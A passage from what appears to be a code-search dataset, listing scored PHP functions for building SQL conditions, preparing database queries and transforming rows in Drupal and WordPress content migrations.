DB::escape($month_end->toMySQL());\n \n $conditions[] = \"(CAST(paid_on as date) >= $month_start_str AND CAST(paid_on as date) <= $month_end_str)\";\n break;\n\n case self::DATE_FILTER_THIS_YEAR:\n $year = $today->getYear();\n $conditions[] = \"(YEAR(paid_on) = \" . DB::escape($year) . ')';\n break;\n case self::DATE_FILTER_LAST_YEAR:\n $last_year = $today->getYear() - 1;\n $conditions[] = \"(YEAR(paid_on) = \" . DB::escape($last_year) . ')';\n break;\n case self::DATE_FILTER_SELECTED_YEAR:\n $conditions[] = \"(YEAR(paid_on) = \" . DB::escape($this->getFilterByYear()) . ')';\n break;\n \n // Specific date\n case self::DATE_FILTER_SELECTED_DATE:\n $date_from = $this->getDateFilterSelectedDate();\n if($date_from instanceof DateValue) {\n $date_from_str = DB::escape($date_from->toMySql());\n $conditions[] = \"(CAST(paid_on as date) = $date_from_str)\";\n } else {\n throw new InvalidParamError('date_filter_on', $date_from, 'Date not selected');\n } // if\n \n break;\n \n // Specific range\n case self::DATE_FILTER_SELECTED_RANGE:\n list($date_from, $date_to) = $this->getDateFilterSelectedRange();\n \n if($date_from instanceof DateValue && $date_to instanceof DateValue) {\n $date_from_str = DB::escape($date_from->toMySQL());\n $date_to_str = DB::escape($date_to->toMySQL());\n \n $conditions[] = \"(CAST(paid_on as date) >= $date_from_str AND CAST(paid_on as date) <= $date_to_str)\";\n } else {\n throw new InvalidParamError('date_filter_from_to', null, 'Date range not selected');\n } // if\n break;\n } // switch\n \n // Status filter\n switch($this->getStatusFilter()) {\n case self::STATUS_FILTER_SELECTED:\n $conditions[] = DB::prepare(\"(status in (?))\", $this->getStatus());\n break;\n } // switch\n \n // Client filter\n switch($this->getCompanyFilter()) {\n case self::STATUS_FILTER_SELECTED:\n $invoice_table = TABLE_PREFIX . 'invoice_objects';\n $client_id = $this->getCompanyId();\n $company_invoice_ids = DB::executeFirstColumn(\"SELECT id FROM $invoice_table WHERE company_id=$client_id AND type='Invoice'\");\n \n $conditions[] = DB::prepare(\"(parent_type=? AND parent_id in (?))\", 'Invoice', $company_invoice_ids);\n break;\n } // switch\n \n\n return implode(' AND ', $conditions);\n\n\n }", "title": "" }, { "docid": "b878a72fca5644aa033a82fd294518fb", "score": "0.5315446", "text": "private function get_filterItemsFromRows()\n {\n // Default return value\n $arr_return = array();\n $arr_return[ 'data' ][ 'items' ] = null;\n\n // RETURN rows are empty\n if ( empty( $this->rows ) )\n {\n // DRS\n if ( $this->pObj->b_drs_warn )\n {\n $prompt = 'Rows are empty. Filter: ' . $this->curr_tableField . '.';\n t3lib_div::devlog( '[WARN/FILTER] ' . $prompt, $this->pObj->extKey, 2 );\n }\n // DRS\n return $arr_return;\n }\n // RETURN rows are empty\n // Get table and field\n list( $table ) = explode( '.', $this->curr_tableField );\n\n // Set nice_piVar\n $this->set_nicePiVar();\n\n // Set class var $htmlSpaceLeft\n $this->set_htmlSpaceLeft();\n\n // Set class var $maxItemsPerHtmlRow\n $this->set_maxItemsPerHtmlRow();\n\n // SWITCH current filter is a tree view\n // #i0117, 141223, dwildt, 1-/+\n //switch ( in_array( $table, $this->arr_tablesWiTreeparentfield ) )\n switch ( in_array( $this->curr_tableField, $this->arr_tablesWiTreeparentfield ) )\n {\n case( true ):\n $arr_return = $this->get_filterItemsTree();\n break;\n case( false ):\n default:\n $arr_return = $this->get_filterItemsDefault();\n $items = $arr_return[ 'data' ][ 'items' ];\n $arr_return = $this->get_filterItemsWrap( $items );\n break;\n }\n // SWITCH current filter is a tree view\n\n return $arr_return;\n }", "title": "" }, { "docid": "31a106361872e73ef6da048855811dbc", "score": "0.5295886", "text": "public function getConditionsHook()\n\t{\n\t\t$conditions = array();\n\t\t\n\t\t$conditions['select'] = '`bid` AS id, `cid`, `type`, `name`, `alias`, `imptotal`, `impmade`, '\n\t\t\t\t\t\t\t\t\t\t\t\t\t.'`clicks`, `imageurl`, `clickurl`, `date`, `showBanner` AS state, `checked_out`, '\n\t\t\t\t\t\t\t\t\t\t\t\t\t.'`checked_out_time`, `editor`, `custombannercode`, `catid`, `description`, '\n\t\t\t\t\t\t\t\t\t\t\t\t\t.'`sticky`, `ordering`, `publish_up`, `publish_down`, `tags`, `params`'\t;\n\t\t\n\t\t$conditions['where'] = array();\n\t\t\n\t\treturn $conditions;\n\t}", "title": "" }, { "docid": "d194969d71769cdd3a8bf733d564c683", "score": "0.52509123", "text": "protected function export_rows() {\n\t\t\t// Check if table exists to prevent SQL injection.\n\t\t\t$wpda_dictionary_exists = new WPDA_Dictionary_Exist( $this->schema_name, $this->table_list );\n\t\t\tif ( ! $wpda_dictionary_exists->table_exists() ) {\n\t\t\t\twp_die();\n\t\t\t}\n\n\t\t\t// Get table columns and data types.\n\t\t\t$wpda_list_columns = WPDA_List_Columns_Cache::get_list_columns( $this->schema_name, $this->table_list );\n\t\t\t$table_columns = $wpda_list_columns->get_table_columns();\n\n\t\t\t// Create array for fast column_name based access.\n\t\t\t$column_data_types = $this->column_data_types( $table_columns );\n\n\t\t\t// Get primary key columns.\n\t\t\t$table_primary_key = $wpda_list_columns->get_table_primary_key();\n\n\t\t\t// Check validity request. All primary key columns must be supplied. Return error if\n\t\t\t// primary key columns are missing.\n\t\t\tforeach ( $table_primary_key as $key ) {\n\t\t\t\tif ( ! isset( $key ) ) {\n\t\t\t\t\t$this->wrong_arguments();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tglobal $wpdb;\n\n\t\t\t// Build where clause based on primary key.\n\t\t\t$where = '';\n\n\t\t\t// Use first column of the primary key to loop through arguments. Add additional arguments in the loop.\n\t\t\t// A mismatch in the number of argument is possible as long as the columns match based on the first column\n\t\t\t// of the primary key. Other mismatches won't be taken into account.\n\t\t\t$count_pk = count( $_REQUEST[ $table_primary_key[0] ] );\n\t\t\tfor ( $i = 0; $i < $count_pk; $i ++ ) {\n\t\t\t\t$and = '';\n\t\t\t\tforeach ( $table_primary_key as $key ) {\n\t\t\t\t\t$and .= '' === $and ? '(' : ' and ';\n\t\t\t\t\tif ( $this->is_numeric( $column_data_types[ $key ] ) ) {\n\t\t\t\t\t\t$and .= $wpdb->prepare( \"`$key` = %d\", $_REQUEST[ $key ][ $i ] ); // WPCS: unprepared SQL OK.\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$and .= $wpdb->prepare( \"`$key` = %s\", stripslashes( $_REQUEST[ $key ][ $i ] ) ); // WPCS: unprepared SQL OK.\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$and .= '' === $and ? '' : ')';\n\n\t\t\t\t$where .= '' === $where ? ' where ' : ' or ';\n\t\t\t\t$where .= $and;\n\t\t\t}\n\n\t\t\t$this->header( $this->table_list );\n\t\t\t$this->db_begin();\n\t\t\t$this->insert_rows( $this->table_list, $where );\n\t\t\t$this->db_end();\n\t\t}", "title": "" }, { "docid": "f8c1be3dd963e9cf1312370a5d257953", "score": "0.52391607", "text": "protected function _prepareConditionBlock(Collection $collection)\n\t{\n\t\t$array = array();\n\t\t\n\t\t/* @var $condition t41_Condition */\n\t\tforeach ($collection->getConditions() as $condition) {\n\t\t\t\n\t\t\t/* get property id in backend */\n\t\t\t$key = $this->_mapper->propertyToDatastoreName($collection->getClass(), $condition[0]->getProperty()->getId());\n\n\t\t\t$array[$key] = array();\n\t\t\t\n\t\t\t$clauses = $condition[0]->getClauses();\n\t\t\t$value = array();\n\n\t\t\tforeach ($clauses as $clause) {\n\t\t\t\n\t\t\t\tif (! isset($mode)) $mode = isset($clause['mode']) ? $clause['mode'] : Backend\\Condition::MODE_AND;\n\t\t\t\t$ops = $this->_matchOperator($clause['operator']);\n\n\t\t\t\t$prefix = $suffix = null;\n\t\t\t\t\n\t\t\t\tforeach ($ops as $op) {\n\n\t\t\t\t\tswitch ($op) {\n\t\t\t\t\n\t\t\t\t\t\tcase Backend\\Condition::OPERATOR_BEGINSWITH:\n\t\t\t\t\t\t\t$prefix = '^'; \n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase Backend\\Condition::OPERATOR_ENDSWITH:\n\t\t\t\t\t\t\t$suffix = '$';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (is_array($clause['value'])) {\n\t\t\t\t\t\t\n\t\t\t\t\t$value[] = $prefix . '[' . implode(\",\", $clause['value']) . ']' . $suffix;\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t\n\t\t\t\t\t$value[] = $prefix . $clause['value'] . $suffix;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$array[$key][$mode] = $value;\n\t\t\t$mode = null;\n\t\t}\n\n\t\t$this->_conditionsBlock = $array;\n\t}", "title": "" }, { "docid": "00392cdc9e74bb35604e0637ad6422ba", "score": "0.52302194", "text": "public function prepareRow(xPDOObject $resource) {\n $data = $resource->toArray();\n \n // Add to data array\n foreach($this->confData->fields as $tv){\n if($tv->type !== 'tv'){ continue; };\n \n $tvName = $tv->field;\n // Grab TV value (if it exists)\n $data[$tvName] = $this->getTVValue($resource, $tvName);\n // Null => empty string\n if(is_null($data[$tvName])){\n $data[$tvName] = '';\n }; \n }\n return $data;\n }", "title": "" }, { "docid": "71ae8c3ec7e0afee89d3235063f846c3", "score": "0.5215052", "text": "public function prepare_items( $where=array( '1=1' ) ) \n\t{\n\t\t$class = $this->activeRecordClass;\n\t\t\n\t\t/**\n\t\t * REQUIRED. Now we need to define our column headers. This includes a complete\n\t\t * array of columns to be displayed (slugs & titles), a list of columns\n\t\t * to keep hidden, and a list of columns that are sortable. Each of these\n\t\t * can be defined in another method (as we've done here) before being\n\t\t * used to build the value for our _column_headers property.\n\t\t */\n\t\t$columns = $this->get_columns();\n\t\t$hidden = array();\n\t\t$sortable = $this->get_sortable_columns();\n\t\t\n\t\t/**\n\t\t * REQUIRED. Finally, we build an array to be used by the class for column \n\t\t * headers. The $this->_column_headers property takes an array which contains\n\t\t * 3 other arrays. One for all columns, one for hidden columns, and one\n\t\t * for sortable columns.\n\t\t */\n\t\t$this->_column_headers = array( $columns, $hidden, $sortable );\n\t\t\n\t\t/**\n\t\t * Optional. You can handle your bulk actions however you see fit. In this\n\t\t * case, we'll handle them within our package just to keep things clean.\n\t\t */\n\t\t$this->process_bulk_action();\n\t\t\n\t\t/**\n\t\t * REQUIRED for pagination. Let's figure out what page the user is currently \n\t\t * looking at. We'll need this later, so you should always include it in \n\t\t * your own package classes.\n\t\t */\n\t\t$current_page = $this->get_pagenum();\n\t\t\n\t\t/**\n\t\t * REQUIRED. Build the query and fetch the database results\n\t\t */\n\t\t$db = Framework::instance()->db();\n\t\t\n\t\t$sortBy = isset( $this->sortBy ) ? $this->sortBy : $class::$prefix . $class::$key;\n\t\t$sortOrder = $this->sortOrder;\n\t\t$compiled = $class::compileWhereClause( $where );\n\t\t$per_page = $this->perPage;\n\t\t$start_at = $current_page > 0 ? ( $current_page - 1 ) * $per_page : 0;\n\t\t\n\t\t$query = \"SELECT * FROM {$db->prefix}{$class::$table} WHERE {$compiled['where']}\";\n\t\t$prepared_query = ! empty( $compiled[ 'params' ] ) ? $db->prepare( $query, $compiled[ 'params' ] ) : $query;\n\t\t\n\t\t\n\t\t$total_items = $db->get_var( str_replace( 'SELECT * ', 'SELECT COUNT(*) ', $prepared_query ) );\n\t\t$this->items = $db->get_results( $prepared_query . \" ORDER BY {$sortBy} {$sortOrder} LIMIT {$start_at}, {$per_page}\", ARRAY_A );\n\t\t\n\t\t/**\n\t\t * Register our pagination options & calculations.\n\t\t */\n\t\t$this->set_pagination_args( array\n\t\t(\n\t\t\t'total_items' => $total_items,\n\t\t\t'per_page' => $this->perPage,\n\t\t\t'total_pages' => ceil( $total_items / $per_page ),\n\t\t) );\n\t}", "title": "" }, { "docid": "083e87d594751316503e9b9fcc231cd9", "score": "0.51793724", "text": "protected function setConditions() {\r\n if( count($this->sqlConditions) ) {\r\n $this->sql .= ' WHERE ' . $this->sqlStrConditions;\r\n }\r\n }", "title": "" }, { "docid": "5af4ecc76a174ae7716bc2b4abcfcdff", "score": "0.51386696", "text": "public function prepareQuery()\n {\n //prepare where conditions\n foreach ($this->where as $where) {\n $this->prepareWhereCondition($where);\n }\n\n //prepare where not conditions\n foreach ($this->whereNot as $whereNot) {\n $this->prepareWhereNotCondition($whereNot);\n }\n\n // Add a basic range clause to the query\n foreach ($this->inRange as $inRange) {\n $this->prepareInRangeCondition($inRange);\n }\n\n // Add a basic not in range clause to the query\n foreach ($this->notInRange as $notInRange) {\n $this->prepareNotInRangeCondition($notInRange);\n }\n\n // add Terms to main query\n foreach ($this->whereTerms as $term) {\n $this->prepareWhereTermsCondition($term);\n }\n\n // add exists constrains to the query\n foreach ($this->exist as $exist) {\n $this->prepareExistCondition($exist);\n }\n\n // add matcher queries\n foreach ($this->match as $match) {\n $this->prepareMatchQueries($match);\n }\n\n $this->query->addFilter($this->filter);\n\n return $this->query;\n }", "title": "" }, { "docid": "25b8b6a36ecbb319eb98dcb21034708a", "score": "0.5126097", "text": "protected function where($data, $conditional = false) {\n\n\t \t$fields = count($data);\n\t\t\t$i = 0;\n\n\t\t\t$this->_where = ' WHERE ';\n\n\t\t\tforeach ($data as $key => $value) {\n\t\t\t\t$newKey = ':'.$key;\n\t\t\t\tif ( $fields == 1) {\n\t\t\t\t\t$this->_where .= $key . ' = ' . $newKey;\n\t\t\t\t\t$this->_params[$newKey] = $value;\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\t$this->_params[$newKey] = $value;\n\t\t\t\t\tif ( $i+1 == $fields) {\n\t\t\t\t\t\t$this->_where .= $key . ' = ' . $newKey;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$cond = ($conditional) ? $conditional[$i] : 'AND';\n\t\t\t\t\t\t$this->_where .= $key . ' = ' . $newKey . ' ' . $cond . ' ';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t}\n\t }", "title": "" }, { "docid": "b95af0aee356c991532b718408a0c0b1", "score": "0.51230496", "text": "private function getPrepared()\n {\n $array = $this->ToArray();\n unset($array['currentPage']);\n unset($array['pageCount']);\n unset($array['errors']);\n unset($array['insert']);\n unset($array['table']);\n unset($array['Adapter']);\n unset($array['pdoFetch']);\n unset($array['cmsFetchMode']);\n unset($array[$this->primaryName]);\n unset($array['primaryName']);\n $prepared['update'] = '';\n foreach($array as $k=>$v)\n {\n $prepared['values'][':'.$k] = $v;\n $prepared['update'] .= '`'.$k.'`'.\"=\".':'.$k.',';\n }\n if ($prepared['update']{strlen($prepared['update'])-1} == ',')\n {\n $prepared['update'] = substr($prepared['update'],0,-1);\n }\n $prepared['set'] = implode(', ', array_keys($array));\n return $prepared;\n }", "title": "" }, { "docid": "c0fb70d017323684d12c54dd1f30ef8d", "score": "0.5119233", "text": "protected function _prep_args() {\n\t\t// this is the data prepared for binding.\n\t\t// these fields are ordered as they are in the table\n\t\t$args = array(\n\t\t\t'the_id' => $this->id,\n\t\t\t'date_created' => $this->date_created,\n\t\t\t'completed' => $this->completed,\n\t\t\t'template_id' => $this->template_id,\n\t\t);\n\n\t\treturn $args;\n\t}", "title": "" }, { "docid": "af4a63fefa113ecd18ae95d2d7aae5c1", "score": "0.5115", "text": "public function prepareRow($row) {\n // Set the Language.\n $lang = (preg_match(\"/eng/i\", $row->sourceid)) ? 'en' : 'fr';\n $row->language = $lang;\n $xmlobj = $row->xml;\n\n // Set the Path.\n if (!isset($xmlobj->external)) {\n $link_path = strip_tags($xmlobj->link_path->asXML());\n if ($link_path == 'group') {\n $row->link_path = '<group>';\n }\n elseif ($link_path == 'front') {\n $row->link_path = '<front>';\n }\n elseif ($link_path == 'nolink') {\n $row->link_path = '<nolink>';\n }\n elseif ($link_path == 'separator') {\n $row->link_path = '<separator>';\n }\n elseif ($link_path == 'user') {\n $row->link_path = 'user';\n }\n else {\n $path = drupal_lookup_path('source', $link_path, $lang);\n if (!empty($path)) {\n $row->link_path = $path;\n }\n else {\n $row->link_path = $link_path;\n }\n }\n }\n else {\n $row->link_path = strip_tags($xmlobj->link_path->asXML());\n $row->external = 1;\n }\n\n // Set the Options.\n $options = array();\n\n if (isset($xmlobj->attribute_title)) {\n $options += array(\n 'attributes' => array(\n 'title' => strip_tags($xmlobj->attribute_title->asXML()),\n ),\n );\n }\n else {\n $options += array(\n 'attributes' => array(\n 'title' => NULL,\n ),\n );\n }\n\n $row->options = $options;\n\n // Set the Parent Menu.\n if (isset($xmlobj->parent)) {\n $result = db_query('SELECT n.destid1\n FROM {migrate_map_wetkitmigratesitemenulinks} n WHERE n.sourceid1 = :sourceid', array(':sourceid' => strip_tags($xmlobj->parent->asXML())));\n foreach ($result as $result_row) {\n $row->plid = $result_row->destid1;\n }\n }\n }", "title": "" }, { "docid": "d48af68e33cb973a41f8e72a946f1fae", "score": "0.50837296", "text": "public function prepareRow($row) {\n parent::prepareRow($row);\n\n $row->field_ref_document = unserialize($row->field_ref_document);\n $row->field_event_location = unserialize($row->field_event_location);\n $row->field_event_organiser = unserialize($row->field_event_organiser);\n\n $row->body = $this->prepareHtml($row->body);\n\n $row->field_event_full_description = $this->prepareHtml(\n $row->field_event_full_description\n );\n\n if (strlen($row->field_event_full_description) <= 0) {\n $row->field_event_full_description = $row->body;\n }\n\n // Will map to the summary, which is plain text.\n $row->body = drupal_html_to_text(\n $row->body\n );\n\n if (!$row->field_event_location == '' && !empty($row->field_event_location)) {\n\n $location = $row->field_event_location;\n\n $mapping = array(\n 'UK' => 'GB',\n );\n\n $country = strtoupper($location['country']);\n\n $row->c4m_location_address_country = (!empty($mapping[$country])) ? $mapping[$country] : $country;\n $row->c4m_location_address_street = $location['street'];\n $row->c4m_location_address_additional = $location['additional'];\n $row->c4m_location_address_postal = $location['postal_code'];\n $row->c4m_location_address_city = $location['city'];\n $row->c4m_location_address_state = $location['province'];\n $row->c4m_location_address_name = $location['name'];\n }\n\n return TRUE;\n }", "title": "" }, { "docid": "f89714c8456c3b700a695a9f7f4468dd", "score": "0.5078733", "text": "protected function prepquery($raw_query) {\n #var_dump($raw_query);\n $this->raw_query = $raw_query;\n\n $sqlraw = array();\n $iswhere = false;\n\n if (empty(self::$table)) {\n return $this->errors['errors'][] = \"No table selected\";\n }\n\n switch ($this->raw_query['dml']) {\n case \"SELECT\":\n $select = '';\n \n if (isset($this->raw_query['select'])) {\n $select .= \" \" . $this->raw_query['select'] . \" \";\n } else {\n $select .= ' * ';\n }\n \n $sqlraw['select'] = $select;\n\n break;\n\n case \"INSERT\":\n $insert = '';\n $insert .= \" (\" . implode(\", \", array_keys($this->raw_query['insert'])) . \")\";\n $insert .= \" VALUES \";\n $bindparams = array();\n for ($a = 0; $a < count($this->raw_query['insert']); $a++) {\n $bindparams[] = \"?\";\n }\n $insert .= \"(\" . implode(\", \", $bindparams) . \")\";\n $sqlraw['insert'] = $insert;\n break;\n\n case \"UPDATE\":\n $update = '';\n\n if (isset($this->raw_query['update'])) {\n if (is_array($this->raw_query['update'])) {\n $update .= \" SET \";\n foreach ($this->raw_query['update'] as $field => $value) {\n $update .= $field . \" = ?, \";\n }\n }\n }\n $sqlraw['update'] = rtrim($update, \", \");\n break;\n\n default:\n break;\n }\n\n if (isset($this->raw_query['join']) && !empty($this->raw_query['join'])) {\n $join = '';\n for ($a = 0; $a < count($this->raw_query['join']); $a++) {\n $type = $this->raw_query['join'][$a]['type'];\n $table = $this->raw_query['join'][$a]['table'];\n $one = $this->raw_query['join'][$a]['one'];\n $operator = $this->raw_query['join'][$a]['operator'];\n $two = $this->raw_query['join'][$a]['two'];\n\n $join .= \" \" . $type . \" JOIN \" . $table;\n $join .= \" ON \" . $one . \" \" . $operator . \" \" . $two;\n }\n $sqlraw['join'] = $join;\n }\n\n if (isset($this->raw_query['where']) && !empty($this->raw_query['where'])) {\n $where = '';\n for ($a = 0; $a < count($this->raw_query['where']); $a++) {\n $prefix = $a == 0 ? 'WHERE' : 'AND';\n $field = $this->raw_query['where'][$a]['field'];\n $operator = $this->raw_query['where'][$a]['operator'];\n $value = $this->raw_query['where'][$a]['value'];\n\n $where .= \" \" . $prefix . \" \" . $field . \" \" . $operator . \" ?\";\n }\n $sqlraw['where'] = $where;\n $iswhere = true;\n }\n\n if (isset($this->raw_query['wherein']) && !empty($this->raw_query['wherein'])) {\n $where = '';\n for ($a = 0; $a < count($this->raw_query['wherein']); $a++) {\n $prefix = $iswhere == true ? 'AND' : 'WHERE';\n $field = $this->raw_query['wherein'][$a]['field'];\n $value = $this->raw_query['wherein'][$a]['values'];\n $bindparams = array();\n for ($a = 0; $a < count($value); $a++) {\n $bindparams[] = \"?\";\n }\n\n $where .= \" \" . $prefix . \" \" . $field . \" IN (\" . implode(\", \", $bindparams) . \")\";\n }\n $sqlraw['where'] = $iswhere == true ? $sqlraw['where'] . $where : $where;\n $iswhere = true;\n }\n\n if (isset($this->raw_query['wherenull']) && !empty($this->raw_query['wherenull'])) {\n $where = '';\n for ($a = 0; $a < count($this->raw_query['wherenull']); $a++) {\n $prefix = $iswhere == true ? 'AND' : 'WHERE';\n $field = $this->raw_query['wherenull'][$a];\n $where .= \" \" . $prefix . \" \" . $field . \" IS NULL\";\n }\n\n $sqlraw['where'] = $iswhere == true ? $sqlraw['where'] . $where : $where;\n $iswhere = true;\n }\n\n if (isset($this->raw_query['wherenotnull']) && !empty($this->raw_query['wherenotnull'])) {\n $where = '';\n for ($a = 0; $a < count($this->raw_query['wherenotnull']); $a++) {\n $prefix = $iswhere == true ? 'AND' : 'WHERE';\n $field = $this->raw_query['wherenotnull'][$a];\n $where .= \" \" . $prefix . \" \" . $field . \" IS NOT NULL\";\n }\n\n $sqlraw['where'] = $iswhere == true ? $sqlraw['where'] . $where : $where;\n $iswhere = true;\n }\n\n if (isset($this->raw_query['groupby']) && !empty($this->raw_query['groupby'])) {\n $groupby = '';\n for ($a = 0; $a < count($this->raw_query['groupby']); $a++) {\n $prefix = $a == 0 ? 'GROUP BY' : ',';\n $field = $this->raw_query['groupby'][$a];\n\n $groupby .= \" \" . $prefix . \" \" . $field;\n }\n $sqlraw['groupby'] = $groupby;\n }\n\n if (isset($this->raw_query['orderby']) && !empty($this->raw_query['orderby'])) {\n $orderby = '';\n if (!helpers::is_arr_key_int($this->raw_query['orderby'])) {\n $a = 0;\n foreach ($this->raw_query['orderby'] as $field => $order) {\n $prefix = $a == 0 ? 'ORDER BY' : ',';\n $orderby .= \" \" . $prefix . \" \" . $field . \" \" . $order;\n $a++;\n }\n } else {\n for ($a = 0; $a < count($this->raw_query['orderby']); $a++) {\n $prefix = $a == 0 ? 'ORDER BY' : ',';\n $field = $this->raw_query['orderby'][$a]['field'];\n $order = $this->raw_query['orderby'][$a]['order'];\n\n $orderby .= \" \" . $prefix . \" \" . $field . \" \" . $order;\n }\n }\n $sqlraw['orderby'] = $orderby;\n }\n\n $this->sqlwrapper($sqlraw);\n return $this->execquery();\n }", "title": "" }, { "docid": "581bcf0b33f917dd51e264864bffb94c", "score": "0.5073614", "text": "public function preProcess($model, &$row)\n {\n switch ($model) {\n case 'Loan':\n $row['start_date'] = date('Y/m/d H:i:s', $row['start_date']);\n $row['end_date'] = date('Y/m/d H:i:s', $row['end_date']);\n $row['status'] = boolval(intval($row['status']));\n break;\n \n default:\n # code...\n break;\n }\n \n return true;\n }", "title": "" }, { "docid": "bf39960c168cc6b3c1bf87469d846953", "score": "0.50720805", "text": "private function formatCondition(array $cond)\n {\n if (empty($cond)) {\n return false;\n }\n $ret = $this->formatWhere($cond);\n if ($ret === false) {\n return false;\n }\n $str_sql = isset($ret['bind_where_sql'][self::AND_OP]) ? implode(' ' . self::AND_OP . ' ', $ret['bind_where_sql'][self::AND_OP]) : '';\n if (isset($ret['bind_where_sql'][self::OR_OP])) {\n $or_sql = implode(\" \" . self::OR_OP . \" \", $ret['bind_where_sql'][self::OR_OP]);\n $str_sql .= $str_sql ? \" \" . self::AND_OP . \" ({$or_sql})\" : $or_sql;\n }\n return [\n 'where_sql' => $str_sql,\n 'where_values' => $ret['bind_where_values']\n ];\n }", "title": "" }, { "docid": "639fcae2eb28e1768aa8b2ca0b4bf3eb", "score": "0.5066959", "text": "public function preparePaidContentItemConditions(array $conditions, array &$fetchOptions)\r\n {\r\n $db = $this->_getDb();\r\n $sqlConditions = array();\r\n \r\n if (isset($conditions['paid_content_ids']) && !empty($conditions['paid_content_ids'])) {\r\n $sqlConditions[] = 'paid_content.paid_content_id IN (' . $db->quote($conditions['paid_content_ids']) . ')';\r\n } elseif (isset($conditions['paid_content_id'])) {\r\n $sqlConditions[] = 'paid_content.paid_content_id = ' . $db->quote($conditions['paid_content_id']);\r\n }\r\n \r\n if (isset($conditions['content_ids']) && !empty($conditions['content_ids'])) {\r\n $sqlConditions[] = 'paid_content.content_id IN (' . $db->quote($conditions['content_ids']) . ')';\r\n } elseif (isset($conditions['content_id'])) {\r\n $sqlConditions[] = 'paid_content.content_id = ' . $db->quote($conditions['content_id']);\r\n }\r\n \r\n if (isset($conditions['content_types']) && !empty($conditions['content_types'])) {\r\n $sqlConditions[] = 'paid_content.content_type IN (' . $db->quote($conditions['content_types']) . ')';\r\n } elseif (isset($conditions['content_type'])) {\r\n $sqlConditions[] = 'paid_content.content_type = ' . $db->quote($conditions['content_type']);\r\n }\r\n \r\n if (isset($conditions['start_date']) && is_array($conditions['start_date'])) {\r\n $isZero = '';\r\n if ($conditions['start_date'][0] == '>' || $conditions['start_date'][0] == '>=') {\r\n $isZero = 'paid_content.start_date = 0 OR ';\r\n }\r\n $sqlConditions[] = $isZero . $this->getCutOffCondition(\"paid_content.start_date\", $conditions['start_date']);\r\n }\r\n \r\n if (isset($conditions['end_date']) && is_array($conditions['end_date'])) {\r\n $isZero = '';\r\n if ($conditions['end_date'][0] == '>' || $conditions['end_date'][0] == '>=') {\r\n $isZero = 'paid_content.end_date = 0 OR ';\r\n }\r\n $sqlConditions[] = $isZero . $this->getCutOffCondition(\"paid_content.end_date\", $conditions['end_date']);\r\n }\r\n \r\n $this->_preparePaidContentItemConditions($conditions, $fetchOptions, $sqlConditions);\r\n \r\n return $this->getConditionsForClause($sqlConditions);\r\n }", "title": "" }, { "docid": "e085c3b144f5dc708ad3725034f3d3e2", "score": "0.50652933", "text": "public function prepareRow($row) {\n if ($row->parent_id == 0) {\n $row->parent_id = NULL;\n }\n }", "title": "" }, { "docid": "99b8cfc78c9b3a02f6b7ff0338d03040", "score": "0.5061223", "text": "public function prepareRow($row) {\n\n\t#$wp_row = $row->xml->children($this->arguments['namespaces']['wp']);\n\t#$content_row = $row->xml->children($this->arguments['namespaces']['content']);\n\t$xml_data = $row->xml->children();\n\n\t// skipe if there is not title\n\t$row->title = (string) $xml_data->title;\n if (!$row->title) {\n \treturn FALSE;\n }\n\t// ONLY migrate publish or draft content\n\t$status = $this->xpathValue($row->xml->xpath(\"wp:status\")); \n\tif ($status == 'publish') {\n\t\t$row->status = 1;\n\t} elseif ($status == 'draft') {\n\t\t$row->status = 0;\t\n\t} else {\n\t\treturn FALSE;\n\t}\n\n\t$row->pubdate = $this->xpathValue($row->xml->xpath(\"pubDate\"));\n\t$row->urlalias = $this->xpathValue($row->xml->xpath(\"wp:post_name\"));\n\t$row->native_advertiser = $this->xpathValue($row->xml->xpath(\"category[@domain = 'sponsor' and @nicename]\"));\n\t$row->eyebrow_text = $this->xpathValue($row->xml->xpath(\"wp:postmeta[wp:meta_key = 'digital-issue-text']/wp:meta_value\"));\n\t$row->eyebrow_link = $this->xpathValue($row->xml->xpath(\"wp:postmeta[wp:meta_key = 'digital-issue-url']/wp:meta_value\"));\n\t$row->disable_flipboard = $this->xpathValue($row->xml->xpath(\"wp:postmeta[wp:meta_key = 'disable_flipboard']/wp:meta_value\"));\n\t$row->google_news_standout = $this->xpathValue($row->xml->xpath(\"wp:postmeta[wp:meta_key = 'post_standout_tag']/wp:meta_value\"));\n\n\t// drush_print_r($row);\n }", "title": "" }, { "docid": "a49cbfc23a02a1edf6825c4cb0106fdc", "score": "0.5059758", "text": "public function prepareRow($row) {\t\n\n //change the options of csv (Less than a year,11 - 15 years,More than 15,6 - 10 years) with our new option value for field__which_year_did_you_start_\n if ($row->YearsSmoking) {\n\t\t$YearsOptions = Array( 1 => \"Less than a year\", 8 => \"6 - 10 years\",13 => \"11 - 15 years\",15 => \"More than 15\");\n\t\t$dasheddate = str_replace('/', '-', $row->DateRegistration);\n\t\t$yearscount = array_search(trim($row->YearsSmoking), $YearsOptions);\n\t\tif (!empty($yearscount) && !empty($dasheddate)) {\n\t\t\t$yearofsmoking = date('Y', strtotime('-'.$yearscount.' year', strtotime($dasheddate)));\t\n\t\t\t$row->YearsSmoking = $yearofsmoking;\n\t\t} else {\n\t\t\t$row->YearsSmoking = \"\";\t\t\t\n\t\t}\n }\n //change the options of csv (Less than 5,15 - 19,More than 30,20 - 24,5 - 9,25 - 30,10 - 14) with our new option value for field_how_many_cigarettes_do_you\n if ($row->CigarettesEachDay) {\n\t\t$CigarettesOptions = Array( 5 => \"Less than 5\", 9 => \"5 - 9\",14 => \"10 - 14\",19 => \"15 - 19\",24 => \"20 - 24\",30 => \"25 - 30\",35 => \"More than 30\");\n\t\t$CigarettesEachDay = array_search($row->CigarettesEachDay, $CigarettesOptions);\n\t\t$row->CigarettesEachDay = $CigarettesEachDay;\n }\n //change the options of csv (Never before,Once,More than twice) with our new option value for field_have_you_used_champix_befo\n if ($row->TriedChampix) {\n\t\tif ($row->TriedChampix != \"Never before\") {\n\t\t\t$row->TriedChampix = 